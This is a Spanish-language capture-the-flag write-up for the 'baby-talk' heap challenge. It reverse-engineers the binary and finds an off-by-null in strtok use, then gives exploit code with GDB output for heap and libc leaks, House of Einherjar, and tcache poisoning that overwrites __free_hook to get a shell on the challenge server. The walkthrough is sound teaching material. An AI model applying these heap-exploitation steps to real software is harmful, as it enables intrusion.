baby-talk
17 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
El programa nos ofrece cuatro opciones:
$ ./chall
1. str
2. tok
3. del
4. exit
>
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos el siguiente código en C descompilado. La función main
gestiona las opciones y llama a la función correspondiente:
int main() {
ulong option;
setbuf(stdout, NULL);
do {
while (true) {
while (true) {
print_menu();
printf("> ");
option = get_num();
if (option != 2) break;
do_tok();
}
if (2 < option) break;
if (option == 1) {
do_str();
} else {
LAB_00100c7b:
puts("??");
}
}
if (option != 3) {
if (option == 4) {
return 0;
}
goto LAB_00100c7b;
}
do_del();
} while (true);
}
Función de asignación
En do_str
, tenemos la capacidad de asignar strings de tamaños hasta 0x1000
y escribir en ellas:
void do_str() {
uint index;
ulong size;
char *p_str;
index = get_empty();
if (index == 0xffffffff) {
puts("too many!");
} else {
printf("size? ");
size = get_num();
if (size < 0x1001) {
p_str = (char *) malloc(size);
strs[(int) index] = p_str;
if (strs[(int) index] == NULL) {
puts("no mem!");
} else {
printf("str? ");
read(0, strs[(int) index], size);
printf("stored at %d!\n", (ulong) index);
}
} else {
puts("too big!");
}
}
}
La string se colocará en una lista global strs
de 16
posiciones. No podemos elegir el índice, pero la función nos dirá dónde está.
Función de liberación
En do_del
, seleccionamos el índice de la string que queremos eliminar y se libera usando free
. Además, la posición también se pone a NULL
en strs
, por lo que no hay Use After Free:
void do_del() {
ulong index;
printf("idx? ");
index = get_num();
if (index < 16) {
if (strs[index] == NULL) {
puts("empty!");
} else {
free(strs[index]);
strs[index] = NULL;
}
} else {
puts("too big!");
}
}
Función de token
Hay otra función llamada do_tok
, que coge un índice de strs
y un separador para usar strtok
en la string elegida:
void do_tok() {
ulong index;
char delim[2];
char *iter;
char *p_str;
printf("idx? ");
index = get_num();
if (index < 16) {
p_str = strs[index];
if (p_str == NULL) {
puts("empty!");
} else {
printf("delim? ");
read(0, delim, 2);
delim[1] = '\0';
iter = strtok(p_str, delim);
while (iter != NULL) {
puts(iter);
iter = strtok(NULL, delim);
}
}
} else {
puts("too big!");
}
}
El resultado es que todas las subcadenas se imprimirán en diferentes líneas. Si no hay caracteres separadores en la cadena, se imprimirá la misma cadena en sí misma.
Configuración del entorno
En primer lugar, dado que este es un reto de explotación de heap, necesitamos comprobar la versión de Glibc que estamos tratando de explotar. En este punto, tuve algunos problemas para resolver esto, porque este era el Dockerfile
proporcionado:
FROM pwn.red/jail
COPY --from=ubuntu@sha256:dca176c9663a7ba4c1f0e710986f5a25e672842963d95b960191e2d9f7185ebe / /srv
COPY flag.txt /srv/app/
COPY chall /srv/app/run
Entonces, mi enfoque era ejecutar el contenedor y copiar la biblioteca Glibc y el cargador a mi máquina host:
$ echo 'dice{asdf}' > flag.txt
$ docker build -t baby-talk .
...
$ docker run -v "$(pwd)":/opt -it baby-talk sh
/ # cp /lib/ld-linux-x86-64.so.2 /lib/libc.so.6 /opt
/ # exit
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Aquí, parcheé el binario para cargar esta Glibc 2.36 y comencé a resolver el reto hasta que obtuve un exploit que funcionaba. Sin embargo, cuando probé el exploit contra la instancia remota, nunca funcionó…
Luego, me confundí un poco y volví al contenedor de Docker:
$ docker run -v "$(pwd)":/opt -it baby-talk sh
/ # find / -name libc.so.6 2>/dev/null
/srv/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/opt/libc.so.6
/ # find / -name libc.so.6 2>/dev/null | xargs md5sum
48e708bb157196b4cc1ffb68fc66fa17 /srv/lib/x86_64-linux-gnu/libc.so.6
9e21f348e8bd0dfd8d535eaf6fa9eb71 /lib/libc.so.6
9e21f348e8bd0dfd8d535eaf6fa9eb71 /opt/libc.so.6
/ # find / -name ld-linux-x86-64.so.2 2>/dev/null | xargs md5sum
md5sum: can't open '/srv/lib64/ld-linux-x86-64.so.2': No such file or directory
bd1331eea9e034eb3d661990e25037b7 /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
dbd82259ea74a350bc165f75fda6195a /lib/ld-linux-x86-64.so.2
dbd82259ea74a350bc165f75fda6195a /opt/ld-linux-x86-64.so.2
¡Hay dos versiones diferentes dentro del contenedor! Ahora, vemos que es Glibc 2.27:
/ # cp /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /srv/lib/x86_64-linux-gnu/libc.so.6 /opt
/ # exit
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
En este punto, podemos parchear el binario de nuevo para usar esta versión Glibc:
$ patchelf --set-interpreter ld-linux-x86-64.so.2 chall
$ patchelf --set-rpath . chall
Versiones diferentes
Vale la pena decir que resolver el reto con Glibc 2.36 fue más difícil que con 2.27 debido a dos motivos:
- Safe-linking está habilitado, por lo que necesitamos ofuscar y desobfuscar punteros en las listas de Tcache
- Los hooks están deshabilitados, por lo que necesitamos usar un método menos común para lograr la ejecución del código arbitrario. Yo utilicé TLS-storage
dtor_list
, que creo que es la forma más fácil
Las dos técnicas anteriores no son necesarias con Glibc 2.27, porque no hay tales mitigaciones habilitadas. Sin embargo, fue un buen ejercicio para practicar técnicas más modernas con mitigaciones más actualizadas.
Estrategia de explotación
Estamos lidiando con un reto de explotación de heap. Al final, queremos lograr ejecución del código arbitrario, y para eso necesitamos una primitiva de escritura arbitraria. En consecuencia, necesitamos saber la posición de Glibc en tiempo de ejecución para llamar a system("/bin/sh")
, Por lo tanto, necesitamos poder fugar direcciones de memoria.
La técnica para fugar direcciones de memoria es bastante común en retos de explotación de heap. Una vez que se libera un chunk, aparece un puntero en el campo fd
(en listas de Tcache). Este puntero se utiliza para gestionar una lista enlazada de chunks liberados.
No hay Use After Free en el programa, pero podemos liberar un chunk y asignarlo nuevamente usando el mismo tamaño, para que el gestor de heap nos dé el mismo chunk. En este punto, podemos escribir un solo byte en el chunk, de modo que solo sobrescribimos el byte menos significativo del puntero fd
. A continuación, dado que el chunk está asignado, podemos usar do_tok
para leer el contenido del chunk.
Para fugar las direcciones Glibc, el proceso es el mismo pero utilizando chunks de Unsorted Bin. Aquí, necesitamos asignar chunks más grandes que 0x80
(fuera del rango del Fast Bin) y liberar más de 7 chunks de este tamaño (para llenar la lista de Tcache). El octavo chunk se enviará al Unsorted Bin. Estos chunks liberados tienen punteros fd
y bk
que apuntan a una región de main_arena
, que se encuentra en Glibc.
Nuestra primitiva de escritura aparece en do_tok
. Después de leer la página man
, Podemos ver un fallo de implementación menor con el uso de strtok
:
Be cautious when using these functions. If you do use them, note that:
These functions modify their first argument.
These functions cannot be used on constant strings.
The identity of the delimiting byte is lost.
The
strtok()
function uses a static buffer while parsing, so it’s not thread safe. Usestrtok_r()
if this matters to you.
El primer punto es el que hace que el programa sea explotable. Dado que strtok
modifica el primer argumento, sucede que cualquier ocurrencia del separador será reemplazado por un byte nulo.
Sabiendo esto, podemos desbordar con un solo byte nulo (off-by-null). Si asignamos un chunk con el tamaño máximo utilizable y lo llenamos con caracteres, el campo de tamaño del siguiente chunk estará justo después de la cadena. Como resultado, si indicamos el tamaño del siguiente chunk como delimitador para el chunk anterior en do_tok
, podremos modificar el tamaño del siguiente chunk y comenzar a corromper la memoria.
En esta situación, podemos realizar un ataque de null-byte poison (House of Einherjar). Estos ataques usan un byte nulo en el tamaño de un chunk, de modo que las flags AMP
están a 0
. La relevante es PREV_INUSE
, que dice si el chunk anterior está en uso o no para poder fusionar chunks. Lo que podemos hacer es colocar un chunk falso dentro del chunk anterior y un tamaño anterior falso, para que podamos liberar el chunk corrupto y el activar la consolidación.
Si pasan todas las verificaciones de seguridad, lograremos tener chunks solapados, lo que nos permite modificar información arbitraria de chunks liberados. Por ejemplo, podemos aprovechar esto usando el Tcache poisoning para obtener una primitiva de escritura arbitraria.
Desarrollo del exploit
Usaremos las siguientes funciones auxiliares:
def do_str(size: int, string: bytes) -> int:
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size? ', str(size).encode())
io.sendafter(b'str? ', string)
io.recvuntil(b'stored at ')
return int(io.recvuntil(b'!', drop=True).decode())
def do_tok(index: int, separator: bytes) -> list[bytes]:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'idx? ', str(index).encode())
io.sendlineafter(b'delim? ', separator)
return io.recvuntil(b'\n1. str', drop=True).splitlines()
def do_del(index: int):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'idx? ', str(index).encode())
Fugando direcciones de memoria
Como dije antes, vamos a asignar más de 7 chunks con un tamaño más grande que 0x80
y liberarlos todos, de modo que la lista de Tcache esté llena y los siguientes chunks vayan al Unsorted Bin:
for _ in range(9):
do_str(0xf8, b'A')
for i in range(9):
do_del(8 - i)
Elegí 0xf8
como tamaño utilizable para tener chunks de tamaño 0x100
, para usarlos después. Además, necesito 9 trozos porque tengo que asignarlos nuevamente y escribir un solo byte para fugar direcciones de memoria. Si tuviera 8, se asignará el chunk de Unsorted Bin y se eliminarán los punteros fd
y bk
, porque estará vacío. Podemos usar la siguiente instrucción para agregar GDB al proceso:
gdb.attach(io, 'continue')
Tenemos este estado del heap:
gef> chunks
Chunk(addr=0x556137576000, size=0x250, flags=PREV_INUSE, fd=0x000000000000, bk=0x7000000000000)
Chunk(addr=0x556137576250, size=0x200, flags=PREV_INUSE, fd=0x7fd2ff7ebca0, bk=0x7fd2ff7ebca0) <- unsortedbins[1/1]
Chunk(addr=0x556137576450, size=0x100, flags=, fd=0x556137576560, bk=0x556137576010) <- tcache[idx=14,sz=0x100][1/7]
Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010) <- tcache[idx=14,sz=0x100][2/7]
Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010) <- tcache[idx=14,sz=0x100][4/7]
Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010) <- tcache[idx=14,sz=0x100][3/7]
Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010) <- tcache[idx=14,sz=0x100][5/7]
Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x556137576a60, bk=0x556137576010) <- tcache[idx=14,sz=0x100][6/7]
Chunk(addr=0x556137576a50, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010) <- tcache[idx=14,sz=0x100][7/7]
Chunk(addr=0x556137576b50, size=0x204b0, flags=PREV_INUSE, fd=0x000000000000, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=7
-> Chunk(addr=0x556137576450, size=0x100, flags=, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x556137576a60, bk=0x556137576010)
-> Chunk(addr=0x556137576a50, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 7 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7fd2ff7ebcb0]: fd=0x556137576250, bk=0x556137576250
-> Chunk(addr=0x556137576250, size=0x200, flags=PREV_INUSE, fd=0x7fd2ff7ebca0, bk=0x7fd2ff7ebca0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
El segundo chunk tiene tamaño 0x200
porque es el resultado de dos chunks de Unsorted Bin fusionados en uno. Ahora, si asignamos chunks de tamaño 0x100
, se utilizarán esos chunks liberados del Tcache hasta que esté vacío y luego vendrán los de Unsorted Bin:
for _ in range(9):
do_str(0xf8, b'A')
Obsérvese que los bits más significativos de los punteros fd
y bk
siguen ahí:
gef> visual-heap
0x556137576000: 0x0000000000000000 0x0000000000000251 | ........Q....... |
0x556137576010: 0x0000000000000000 0x0000000000000000 | ................ |
* 35 lines, 0x230 bytes
0x556137576250: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576260: 0x00007fd2ff7ebe41 0x00007fd2ff7ebe90 | A.~.......~..... |
0x556137576270: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576350: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576360: 0x0000000000000041 0x0000000000000000 | A............... |
0x556137576370: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576450: 0x0000000000000100 0x0000000000000101 | ................ |
0x556137576460: 0x0000556137576541 0x0000000000000000 | AeW7aU.......... |
0x556137576470: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576550: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576560: 0x0000556137576641 0x0000000000000000 | AfW7aU.......... |
0x556137576570: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576650: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576660: 0x0000556137576741 0x0000000000000000 | AgW7aU.......... |
0x556137576670: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576750: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576760: 0x0000556137576841 0x0000000000000000 | AhW7aU.......... |
0x556137576770: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576850: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576860: 0x0000556137576941 0x0000000000000000 | AiW7aU.......... |
0x556137576870: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576950: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576960: 0x0000556137576a41 0x0000000000000000 | AjW7aU.......... |
0x556137576970: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576a50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576a60: 0x0000000000000041 0x0000000000000000 | A............... |
0x556137576a70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576b50: 0x0000000000000000 0x00000000000204b1 | ................ | <- top
0x556137576b60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8265 lines, 0x20490 bytes
Entonces, podemos usar do_tok
con un separador aleatorio (que no se encontrará) para imprimir esas direcciones de memoria:
heap_addr = u64(do_tok(0, b'.')[0].ljust(8, b'\0')) & (~0xfff)
glibc.address = u64(do_tok(7, b'.')[0].ljust(8, b'\0')) - 0x3ebe41
io.info(f'Heap base address: {hex(heap_addr)}')
io.success(f'Glibc base address: {hex(glibc.address)}')
Y aquí las tenemos:
[*] Heap base address: 0x556137576000
[+] Glibc base address: 0x7fd2ff400000
Y son correctas según GDB:
gef> vmmap heap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000556137576000 0x0000556137597000 0x0000000000021000 0x0000000000000000 rw- [heap]
gef> vmmap libc
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007fd2ff400000 0x00007fd2ff5e7000 0x00000000001e7000 0x0000000000000000 r-x ./libc.so.6 <- $rcx, $rip, $r10
0x00007fd2ff5e7000 0x00007fd2ff7e7000 0x0000000000200000 0x00000000001e7000 --- ./libc.so.6
0x00007fd2ff7e7000 0x00007fd2ff7eb000 0x0000000000004000 0x00000000001e7000 r-- ./libc.so.6
0x00007fd2ff7eb000 0x00007fd2ff7ed000 0x0000000000002000 0x00000000001eb000 rw- ./libc.so.6
Null-byte poison
Ahora es momento de realizar el ataque de Null-byte poison. Para esto, usaremos dos chunks (a
y b
, con índices 9
y 10
). Usaré a
para desbordar con el byte nulo en el tamaño de b
:
do_str(0xf8, b'a' * 0xf8)
do_str(0xf8, b'b')
do_str(0xf8, b'x')
for i in range(6):
do_del(5 - i)
Obsérvese que llené el Tcache porque necesitamos usar chunks de Unsorted Bin para activar la consolidación de chunks. Tenemos este estado del heap:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x6161616161616161 0x6161616161616161 | aaaaaaaaaaaaaaaa |
* 14 lines, 0xe0 bytes
0x556137576c50: 0x6161616161616161 0x0000000000000101 | aaaaaaaa........ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
gef> bins tcache
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=6
-> Chunk(addr=0x556137576450, size=0x100, flags=PREV_INUSE, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 6 chunks in tcache.
Todavía queda un espacio en el Tcache, usaré este espacio para liberar a
después de causar el off-by-null:
do_tok(9, b'\x01')
do_del(9)
A continuación, asignamos nuevamente e insertamos un chunk falso dentro del chunk a
y lo eliminamos otra vez para mantener el Tcache lleno:
do_del(
do_str(
0xf8,
p64(0) * 2 +
p64(0) + p64(0xe0) +
p64(heap_addr + 0xb80) * 2 +
p64(heap_addr + 0xb70) * 2 +
b'c' * 0xb0 + p64(0xe0)
)
)
Este es ahora el estado del heap:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x00000000000000e0 | ................ |
0x556137576b80: 0x0000556137576b80 0x0000556137576b80 | .kW7aU...kW7aU.. |
0x556137576b90: 0x0000556137576b70 0x0000556137576b70 | pkW7aU..pkW7aU.. |
0x556137576ba0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 10 lines, 0xa0 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
Obsérvese lo siguiente:
- El chunk
b
tienePREV_INUSE
a0
- El chunk
b
tieneprev_size
igual a0xe0
- Hay un chunk de tamaño falso
0xe0
exactamente0xe0
bytes arriba - Los punteros
fd
ybk
del chunk falso satisface los controles de seguridad porque:
P->fd->bk = *((*((0x556137576b70).fd)).bk)
= *(*(0x556137576b70 + 0x10) + 0x18)
= *(*(0x556137576b80) + 0x18)
= *(0x556137576b80 + 0x18)
= *(0x556137576b98)
= 0x556137576b70
= P
P->bk->fd = *((*((0x556137576b70).bk)).fd)
= *(*(0x556137576b70 + 0x18) + 0x10)
= *(*(0x556137576b88) + 0x10)
= *(0x556137576b80 + 0x10)
= *(0x556137576b90)
= 0x556137576b70
= P
Como resultado, podemos eliminar el chunk b
(índice 10
) y el asignador del heap fusionará el chunk b
con el chunk falso:
do_del(10)
Obtenemos esto:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x00000000000001e1 | ................ | <- unsortedbins[1/1]
0x556137576b80: 0x00007fd2ff7ebca0 0x00007fd2ff7ebca0 | ..~.......~..... |
0x556137576b90: 0x0000556137576b80 0x0000556137576b80 | .kW7aU...kW7aU.. |
0x556137576ba0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 10 lines, 0xa0 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x00000000000001e0 0x0000000000000100 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
Obsérvese que tenemos chunks solapados, ya que el chunk a
está en el Tcache y en el interior tenemos nuestro chunk falso en Unsorted Bin.
Tcache poisoning
Ahora podemos asignar y liberar algunos chunks pequeños y después de eso hacer un ataque de Tcache poisoning:
i = do_str(0x18, b'Q')
do_del(do_str(0x18, b'x'))
do_del(i)
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x556137576b80: 0x0000556137576ba0 0x0000556137576010 | .kW7aU...`W7aU.. | <- tcache[idx=0,sz=0x20][1/2]
0x556137576b90: 0x0000556137576b80 0x0000000000000021 | .kW7aU..!....... |
0x556137576ba0: 0x0000000000000000 0x0000556137576010 | .........`W7aU.. | <- tcache[idx=0,sz=0x20][2/2]
0x556137576bb0: 0x6363636363636363 0x00000000000001a1 | cccccccc........ | <- unsortedbins[1/1]
0x556137576bc0: 0x00007fd2ff7ebca0 0x00007fd2ff7ebca0 | ..~.......~..... |
0x556137576bd0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 7 lines, 0x70 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x00000000000001a0 0x0000000000000100 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
A continuación asignamos un chunk de tamaño 0x100
que se colocará donde el chunk a
, porque fue el último en ser liberado, y modificar el puntero fd
del primer chunk de 0x20
para que apunte a __free_hook
:
do_str(0xf8, b'X' * 0x18 + p64(0x21) + p64(glibc.sym.__free_hook))
Nótese que la lista de Tcache 0x20
está corrupta y el puntero fd
apunta a __free_hook
:
gef> bins tcache
---------------------- Tcachebins for arena 'main_arena' ----------------------
tcachebins[idx=0, size=0x20, @0x556137576050] count=2
-> Chunk(addr=0x556137576b70, size=0x20, flags=PREV_INUSE, fd=0x7fd2ff7ed8e8, bk=0x556137576010)
-> Chunk(addr=0x7fd2ff7ed8d8, size=0x0, flags=, fd=0x000000000000, bk=0x000000000000)
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=6
-> Chunk(addr=0x556137576450, size=0x100, flags=PREV_INUSE, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 8 chunks in tcache.
Ahora, podemos asignar dos chunks de tamaño 0x20
, y el segundo se colocará en __free_hook
:
s = do_str(0x18, b'/bin/sh')
do_str(0x18, p64(glibc.sym.system))
Veamos si tenemos la dirección de system
en __free_hook
:
gef> x/gx &__free_hook
0x7fd2ff7ed8e8 <__free_hook>: 0x00007fd2ff44f420
gef> x/gx (void*) __free_hook
0x7fd2ff44f420 <system>: 0xfa66e90b74ff8548
Muy bien, así que en este punto, estaremos llamando a system
cada vez que ejecutemos free
. Por lo tanto, si eliminamos el chunk anterior, que contiene "/bin/sh"
, estaremos ejecutando system("/bin/sh")
y tendremos una shell:
do_del(s)
Aquí la tenemos:
$ python3
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './chall': pid 3295687
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '3295687', '-x', '/tmp/pwn3wxiodgv.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x556137576000
[+] Glibc base address: 0x7fd2ff400000
[*] Switching to interactive mode
$ ls
chall Dockerfile flag.txt ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Ejecutemos el exploit de forma remota:
$ python3 solve.py mc.ax 32526
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to mc.ax on port 32526: Done
[*] Heap base address: 0x5cb86eb40000
[+] Glibc base address: 0x7d812429c000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
dice{tkjctf_lmeow_fee9c2ee3952d7b9479306ddd8e477ca}
El exploit completo se puede encontrar aquí: solve.py
.